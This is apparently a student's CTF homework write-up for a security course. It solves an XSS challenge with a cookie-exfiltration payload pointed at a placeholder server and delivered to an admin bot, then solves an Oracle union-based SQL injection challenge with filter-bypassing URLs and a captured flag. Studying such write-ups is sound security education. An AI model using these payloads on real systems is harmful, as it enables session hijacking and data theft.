Computer Security HW4 Write-Up

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how2xss

hackme.php

- insert a payload without duplicate characters
- to send cookie to our remote server

such as:

hackme.php?q=<img src=@ onerror=this.src='http://myserver/?
c='+document.cookie>

bottleneck

to limit the characters' use such that one character appears only once

report.php

- insert a malicious URL that will link to hackme.php and passing the payload as GET parameters
- so that the admin will send cookie to our server when he view that report by browser
- we proof of work should also be done whenever we send report

cathub

FLAG{hey__or@cle_d4tab4s3__inj3cti0n_i5___to0OoOOooO0OO_e4sy???}

video.php

- found a exploitable GET parameter vid
- union-based SQL injection
 - but single quote and space are not allowed
 - space can be replaced by inline comment /**/
- by fuzzing, we know it's Oracle database
 - with the help of sqlmap
 - check "all_tables" and "all_tab_columns"

get all table names

https://edu-ctf.csie.org:10159/video.php?vid=2/**/union/**/all/**/select/**/NULL,listagg(table_name) within/**/group(order/**/by/**/table_name),NULL/**/from/**/all_tables/**/order/**/by/**/1/**/desc

 the full sql command will be: select * from CAT_VIDEO_MAYBE where id=2 union all select
 NULL,listagg(table_name)within group(order by table_name),NULL from all_tables
 order by 1 desc

• listagg() will concat all table_name into one string, which is convenient for us

get all column names

```
https://edu-ctf.csie.org:10159/video.php?vid=-1/**/
union/**/all/**/SELECT/**/NULL,table_name,column_name
/**/FROM/**/(select/**/rownum/**/r,column_name,table_name
/**/from/**/all_tab_columns/**/order/**/by
/**/table_name)where/**/r=1
```

• full sql command:

select * from CAT_VIDEO_MAYBE where id=2 union all select
NULL,table_name,column_name from (select rownum r,column_name,table_name
from all_tab_columns order by table_name)where r={the_row_we_want}

- by selecting the value of r, we can fetch any row
- second column appears as title, third one appears as video source
- found: column V3RY_S3CRET_C0LUMN in table S3CRET

get secret

```
https://edu-ctf.csie.org:10159/video.php?vid=-1/**/union/**/sll/**/SELECT/**/id,V3RY_S3CRET_C0LUMN,NULL/**/FROM/**/s3cret
```

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